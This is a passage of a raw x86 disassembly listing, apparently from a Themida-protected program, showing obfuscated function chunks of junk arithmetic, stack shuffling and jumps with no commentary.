loc_57287D:				; CODE XREF: sub_56FA15-9721j
		sub	al, 4Ah
		sub	al, ch
		add	al, 4Ah
		add	al, 0E3h
		pop	ecx
		jmp	loc_56B2C4
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_57288B:				; CODE XREF: sub_563BCC+8484j
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		mov	esp, [esp+0]
		push	3873h
		jmp	loc_56A027
; END OF FUNCTION CHUNK	FOR sub_563BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_5728A1:				; CODE XREF: sub_572DD7-C2B6j
		pop	esi
		xor	edi, [esp+0]
		jmp	loc_57339B
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_5728AA:				; CODE XREF: sub_56B06D-41E8j
		push	0E58h
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		pop	[esp+1Ch+var_1C]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_57039C
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_5728D0:				; CODE XREF: sub_5713A7-BEEEj
		sub	edx, eax
		sub	edx, 59496BD2h
		pop	eax
		jmp	loc_566C09
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_5728DE:				; CODE XREF: sub_56E126-B25j
		pop	esi
		or	esi, 2BE8638Ah
		push	ebx
		push	0F829C4h
		pop	ebx
		jmp	loc_5677B7
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5728F1:				; CODE XREF: sub_57354D-E57j
		sub	esi, 22CE2C9Bh
		add	esi, ebp
		add	esi, 22CE2C9Bh
		pop	ebp
		xor	esi, [esp+8+var_8]
		xor	[esp+8+var_8], esi
		xor	esi, [esp+8+var_8]
		pop	esp
		jmp	loc_567E2A
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------


loc_57290F:				; CODE XREF: Themida_:00569827j
		push	edx
		jmp	loc_56318D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_572915:				; CODE XREF: sub_561541+1B28j
		push	edx
		mov	edx, 660D7D8Ch
		shr	edx, 1
		push	ebx
		mov	ebx, 4B19791Bh
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ebx, edx
		jmp	loc_568063
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_572930:				; CODE XREF: sub_56EE9F+628Ej
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esi
		mov	esi, 0BAC647h
		jmp	loc_562381
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D93


loc_572944:				; CODE XREF: sub_568D93-5D49j
		mov	ecx, ebx
		jmp	loc_564BF8
; END OF FUNCTION CHUNK	FOR sub_568D93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_57294B:				; CODE XREF: sub_56FA44-4480j
		add	ecx, eax
		pop	eax
		push	[esp+4+var_4]
		mov	esi, [esp+8+var_8]
		jmp	loc_56FE9B
; END OF FUNCTION CHUNK	FOR sub_56FA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_572959:				; CODE XREF: sub_56D359+3j
		mov	eax, [esp+4+var_4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_56DA9D
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_572970:				; CODE XREF: sub_56AEF2+1F6Dj
		mov	eax, [esp-18h+arg_14]
		add	esp, 4
		sub	bl, al
		push	eax
		mov	ah, 64h
		sub	bl, 1Dh
		add	bl, ah
		add	bl, 1Dh
		jmp	loc_57012F
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_572988:				; CODE XREF: sub_560056+13FA5j
		xor	[esp+10h+var_10], ebx
		xor	ebx, [esp+10h+var_10]
		jmp	loc_56B143
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_572993:				; CODE XREF: sub_574FC9-5A7Bj
		add	ebx, edx
		pop	edx
		push	edi
		mov	edi, 3D6E7858h
		jmp	loc_570209
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_5729A1:				; CODE XREF: sub_566117+3AAEj
		xchg	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	5E59h
		mov	[esp+0], esi
		jmp	loc_563667
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_5729B4:				; CODE XREF: sub_574304-137A8j
		xchg	edx, [esp+10h+var_10]
		pop	esp
		push	ebp
		mov	ebp, 5862093Fh
		and	ebp, 65FC79E0h
		inc	ebp
		jmp	loc_567A7F
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_5729CA:				; CODE XREF: sub_56638C+2FDEj
		mov	esp, [esp+8+var_8]
		mov	ax, [esp+0]
		push	ebx
		mov	ebx, esp
		push	edx
		jmp	loc_574249
; END OF FUNCTION CHUNK	FOR sub_56638C

; =============== S U B	R O U T	I N E =======================================



sub_5729DA	proc near		; DATA XREF: Themida_:0055FE7Co
		push	dword ptr [edx]
		jmp	loc_55FF9F
sub_5729DA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5729E1:				; CODE XREF: sub_57354D-509Dj
		sub	edi, 52944A64h
		sub	edi, 44635485h
		pop	edx
		push	edx
		mov	edx, 4
		jmp	loc_569F64
; END OF FUNCTION CHUNK	FOR sub_57354D

; =============== S U B	R O U T	I N E =======================================



sub_5729F9	proc near		; DATA XREF: Themida_:0055FEF4o

var_C		= dword	ptr -0Ch
var_6		= dword	ptr -6

; FUNCTION CHUNK AT 005608EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005634E9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056436F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056807C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056F6CD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F7D4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00574774 SIZE 0000000A BYTES

		lodsb
		jmp	loc_56F6CD
sub_5729F9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_5729FF:				; CODE XREF: sub_572641-872Ej
		xor	bl, 7Fh
		mov	ah, bl
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		inc	ah
		push	edx
		mov	dl, 0E8h
		neg	dl
		not	dl
		neg	dl
		xor	dl, 76h
		sub	ah, dl
		pop	edx
		shr	ah, 1
		xor	ah, 12h
		jmp	loc_56406A
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_572A28:				; CODE XREF: sub_561027-203j
		or	edx, eax
		shl	edx, 1
		push	752h
		mov	[esp-4+arg_0], esi
		jmp	loc_574593
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A423


loc_572A39:				; CODE XREF: sub_56A423+59EFj
		mov	edx, 44616FE2h
		shr	edx, 7
		sub	edx, 94066EF9h
		jmp	loc_56C769
; END OF FUNCTION CHUNK	FOR sub_56A423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_572A4C:				; CODE XREF: sub_565632+C328j
		pop	eax
		jmp	loc_5665D4
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_572A52:				; CODE XREF: sub_56A7FB+2568j
		pop	cx
		shl	ch, 8
		add	ch, 1Dh
		mov	bl, ch
		pop	ecx
		or	bl, 49h
		jmp	loc_57462D
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_572A65:				; CODE XREF: sub_571F6F-B358j
		add	bl, ah
		sub	bl, 4Ah
		jmp	loc_5725BB
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_572A6F:				; CODE XREF: sub_561418+14064j
		mov	eax, [esp+14h+var_14]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+18h+var_18]
		jmp	loc_56D8F4
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5722C8


loc_572A86:				; CODE XREF: sub_5722C8-4FB8j
		add	esp, 4
		push	ecx
		jmp	loc_566D02
; END OF FUNCTION CHUNK	FOR sub_5722C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_572A8F:				; CODE XREF: sub_571C93-F4AEj
		pop	ebp
		jmp	loc_56AB0B
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0CB


loc_572A95:				; CODE XREF: sub_56E0CB+42C1j
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		xchg	esi, ebx
		jmp	loc_5620BF
; END OF FUNCTION CHUNK	FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_572AA0:				; CODE XREF: sub_574AF3-C9B2j
		push	edi
		jmp	loc_5635AE
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_572AA6:				; CODE XREF: sub_560CF1+937Aj
		push	edi
		not	[esp+4+var_4]
		pop	edi
		xchg	edi, ecx
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, ecx
		push	0C3Bh
		mov	[esp+4+var_4], eax
		sub	esp, 4
		jmp	loc_561746
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_572AC6:				; CODE XREF: sub_5605BC+12774j
		pop	ecx
		and	ebp, 67B621E7h
		neg	ebp
		push	edi
		mov	edi, 9849DE1Fh
		xor	ebp, edi
		pop	edi
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		jmp	loc_564A71
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_572AE6:				; CODE XREF: sub_570CE4-6BABj
		xor	ecx, 0B5D4511h
		add	edi, ecx
		mov	ecx, [esp+10h+var_10]
		push	ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 27E64978h
		and	eax, 7EC62E0h
		jmp	loc_573FC0
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_572B04:				; CODE XREF: sub_56DA43-5151j
		add	esp, 4
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		mul	ecx
		push	69A4h
		mov	[esp-8+arg_4], edx
		push	eax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_572B1E:				; CODE XREF: sub_56C38F+7E2j
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	ebp
		mov	ebp, 2
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp+0]
		jmp	loc_562E7E
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_572B46:				; CODE XREF: sub_560EA2+1016Aj
		add	eax, ecx
		mov	ecx, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	esp
		pop	esi
		jmp	loc_56BECD
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573A7F


loc_572B58:				; CODE XREF: sub_573A7F-74BBj
		pop	edi
		jmp	loc_56E4EC
; END OF FUNCTION CHUNK	FOR sub_573A7F
; ---------------------------------------------------------------------------


loc_572B5E:				; CODE XREF: Themida_:00571BD3j
		xor	edi, ebx
		pop	ebx
		xor	eax, edi
		mov	edi, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_560424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56959A


loc_572B7C:				; CODE XREF: sub_56959A-8820j
		shr	eax, 3
		add	eax, 628D3FA0h
		xor	eax, 4B9545D9h
		jmp	loc_56AAB6
; END OF FUNCTION CHUNK	FOR sub_56959A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_572B8E:				; CODE XREF: sub_56B06D+874Fj
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		add	esp, 4
		sub	ebx, 379B1807h
		or	eax, ebx
		pop	ebx
		or	eax, 124E37F8h
		shl	eax, 8
		push	176Ch
		mov	[esp+14h+var_14], edx
		jmp	loc_56E241
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_572BB8:				; CODE XREF: sub_5678CB-85j
		mov	dl, 7Ch
		jmp	loc_574D5D
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_572BBF:				; CODE XREF: sub_56AB5E+8EDEj
		sub	ecx, 3E6E0951h
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 481C50F1h
		sub	ecx, 1
		sub	ecx, 7DD2B8E6h
		sub	edx, ecx
		pop	ecx
		add	ebp, 0F480FD3h
		add	ebp, edx
		sub	ebp, 0F480FD3h
		pop	edx
		sub	ebp, 4
		xor	ebp, [esp+10h+var_10]
		jmp	loc_566462
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_572BF7:				; CODE XREF: sub_574AF3-1153Aj
		xor	edi, [esp+8+var_8]
		xor	[esp+8+var_8], edi
		xor	edi, [esp+8+var_8]
		pop	esp
		jmp	loc_568B93
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ED9


loc_572C06:				; CODE XREF: sub_562ED9-285Aj
		pop	esp
		push	edx
		mov	edx, esp
		jmp	sub_56DA43
; END OF FUNCTION CHUNK	FOR sub_562ED9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_572C0F:				; CODE XREF: sub_5678CB+1F97j
		add	esp, 4
		add	ch, 10h
		jmp	loc_56B1C8
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_572C1D:				; CODE XREF: sub_564020+A360j
		add	edx, 10E44F5h
		not	edx
		add	edx, 411DC520h
		sub	eax, edx
		pop	edx
		jmp	loc_56069B
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_572C33:				; CODE XREF: sub_561418+6949j
		inc	eax
		and	eax, 2CB65CF7h
		xor	eax, 6F221A4Fh
		add	eax, 551E5486h
		sub	edx, eax
		pop	eax
		add	esi, edx
		pop	edx
		and	ebx, esi
		push	dword ptr [esp+0]
		push	[esp-4+arg_0]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562060
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_572C60:				; CODE XREF: sub_572075-6072j
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		sub	esi, 39451D2Ch
		push	ecx
		push	edx
		mov	edx, 343B7E17h
		push	ebx
		jmp	loc_56346B
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_572C7C:				; CODE XREF: sub_566C83+A3B7j
		mov	edx, esp
		add	edx, 4
		push	ebp
		jmp	loc_566E28
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_572C8A:				; CODE XREF: sub_572DD7-116F2j
		pop	esp
		mov	[esp+4+var_4], eax
		push	394Ah
		mov	[esp+8+var_8], ecx
		push	175D44CCh
		pop	ecx
		add	ecx, 321F2E1Eh
		inc	ecx
		shr	ecx, 8
		add	ecx, 1FABA2A0h
		mov	eax, ecx
		pop	ecx
		dec	eax
		jmp	loc_566CD6
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_572CB5:				; CODE XREF: sub_5738F4-117DDj
		inc	edi
		shl	edi, 8
		xor	edi, 5A408004h
		jmp	loc_56F8D9
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AA2B


loc_572CC4:				; CODE XREF: sub_56AA2B-FBBj
		inc	ecx
		jmp	loc_572296
; END OF FUNCTION CHUNK	FOR sub_56AA2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56264C


loc_572CCA:				; CODE XREF: sub_56264C+1112j
		pop	esp
		jmp	sub_56C7AA
; END OF FUNCTION CHUNK	FOR sub_56264C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_572CD0:				; CODE XREF: sub_5687A3+109Dj
		sub	ebx, 4C9061ECh
		add	ebx, 58844835h
		sub	ebx, eax
		push	7084h
		mov	[esp+4+var_4], eax
		mov	eax, 58844835h
		sub	ebx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	5F7Bh
		jmp	loc_573364
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_572D00:				; CODE XREF: sub_56351E+33B5j
		mov	esp, [esp+0]
		jmp	loc_56A0B8
; END OF FUNCTION CHUNK	FOR sub_56351E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B37


loc_572D08:				; CODE XREF: sub_566B37+5C9j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		jmp	loc_568E99
; END OF FUNCTION CHUNK	FOR sub_566B37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_572D1C:				; CODE XREF: sub_5605BC+11B9j
		sub	ecx, 7A3A186Fh
		and	ecx, 7CE95990h
		xor	ecx, 2CF56C99h
		or	ebp, ecx
		jmp	loc_572AC6
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_572D35:				; CODE XREF: sub_560844+10464j
		push	5BF64431h
		jmp	loc_574039
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_572D3F:				; CODE XREF: sub_56FA44+3A10j
		pop	esi
		jmp	loc_56B5B9
; END OF FUNCTION CHUNK	FOR sub_56FA44

; =============== S U B	R O U T	I N E =======================================



sub_572D45	proc near		; DATA XREF: Themida_:0055FD2Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

; FUNCTION CHUNK AT 00562474 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565C59 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00566D9F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00567209 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00570250 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005705A9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573DCA SIZE 0000001F BYTES

		mov	ax, [esp+0]
		push	0E75h
		mov	[esp+4+var_4], ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		jmp	loc_565C59
sub_572D45	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_572D5A:				; CODE XREF: sub_569A75-89C6j
		sub	al, dh
		sub	al, 1Dh
		mov	edx, dword ptr [esp+2+var_2]
		jmp	loc_56C57E
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_572D66:				; CODE XREF: sub_560EA2+130AEj
		add	edx, 8703FADFh
		jmp	loc_563060
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56ABD0


loc_572D71:				; CODE XREF: sub_56ABD0-6C40j
		pop	edi
		sub	ebx, 0BC50542h
		add	edx, 2A4C53A4h
		jmp	loc_57319A
; END OF FUNCTION CHUNK	FOR sub_56ABD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_572D83:				; CODE XREF: sub_56B06D+5336j
		mov	edi, 4
		sub	[esp+18h+var_14], 1F50717Bh
		push	ebp
		mov	ebp, 7FD92608h
		add	[esp+1Ch+var_14], ebp
		pop	ebp
		add	[esp+18h+var_14], edi
		jmp	loc_568F46
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_572DA4:				; CODE XREF: sub_56D69D-6248j
		push	edx
		mov	edx, 1
		sub	esi, edx
		jmp	loc_565626
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_572DB1:				; CODE XREF: sub_5753A5-B187j
		sub	edi, 6C4D29D5h
		shl	edi, 8
		shl	edi, 5
		add	edi, 469FCF06h
		add	esi, edi
		pop	edi
		pop	edx
		xor	eax, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_563C60
; END OF FUNCTION CHUNK	FOR sub_5753A5

; =============== S U B	R O U T	I N E =======================================



sub_572DD7	proc near		; DATA XREF: Themida_:0055FD88o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005616DC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561C2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005648CC SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00565797 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00565F98 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00566B0E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00566CD6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00568A25 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005690A3 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056B4D2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C008 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F456 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056FA5C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005716CF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00571FD7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005728A1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00572C8A SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0057339B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00573C13 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00573F55 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005741C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00574396 SIZE 00000011 BYTES

		mov	eax, [esp+0]
		push	edi
		push	7F6Dh
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		jmp	loc_5716CF
sub_572DD7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574896


loc_572DEF:				; CODE XREF: sub_574896-D7E3j
		xchg	eax, [esp-8+arg_4]
		pop	esp
		pop	[esp-0Ch+arg_8]
		pop	esp
		xor	[esp-14h+arg_10], eax
		pushf
		jmp	loc_568B25
; END OF FUNCTION CHUNK	FOR sub_574896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56ABD0


loc_572E00:				; CODE XREF: sub_56ABD0+8602j
		mov	esi, 294C6B63h
		dec	esi
		jmp	loc_571EB3
; END OF FUNCTION CHUNK	FOR sub_56ABD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_572E0B:				; CODE XREF: sub_5734A7-11DD0j
		pop	edx
		sub	esi, edi
		push	[esp+4+var_4]
		jmp	loc_56B7CD
; END OF FUNCTION CHUNK	FOR sub_5734A7

; =============== S U B	R O U T	I N E =======================================



sub_572E16	proc near		; DATA XREF: Themida_:0055FF48o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005606A5 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00560FF5 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00562454 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005628E8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005647B4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056553A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005666D0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00567B1A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00569A2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A3F9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056AF59 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F4BB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056F8E0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00570D0D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571254 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057267E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005744A9 SIZE 00000053 BYTES

		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	34C9h
		push	esp
		pop	[esp+0Ch+var_C]
		jmp	loc_5666D0
sub_572E16	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_572E36:				; CODE XREF: sub_560EA2+C494j
		or	ebx, 1F746242h
		shl	ebx, 4
		not	ebx
		xor	ebx, 0C96F4BF8h
		jmp	loc_560DCE
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_572E4C:				; CODE XREF: sub_5685B2-7E67j
		mov	ebx, edx
		mov	esi, ebx
		jmp	loc_564EB8
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_572E55:				; CODE XREF: sub_566117+C540j
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 72FB3493h
		sub	esi, 7BE20479h
		not	esi
		add	esi, 707F4027h
		jmp	sub_568DD7
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_572E79:				; CODE XREF: sub_561418+13C2Dj
		dec	edx
		push	edx
		not	[esp+4+var_4]
		jmp	loc_5703CD
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_572E83:				; CODE XREF: sub_57146D-6FA7j
		movzx	eax, al
		push	small 5D67h
		mov	[esp-4+arg_0], ax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


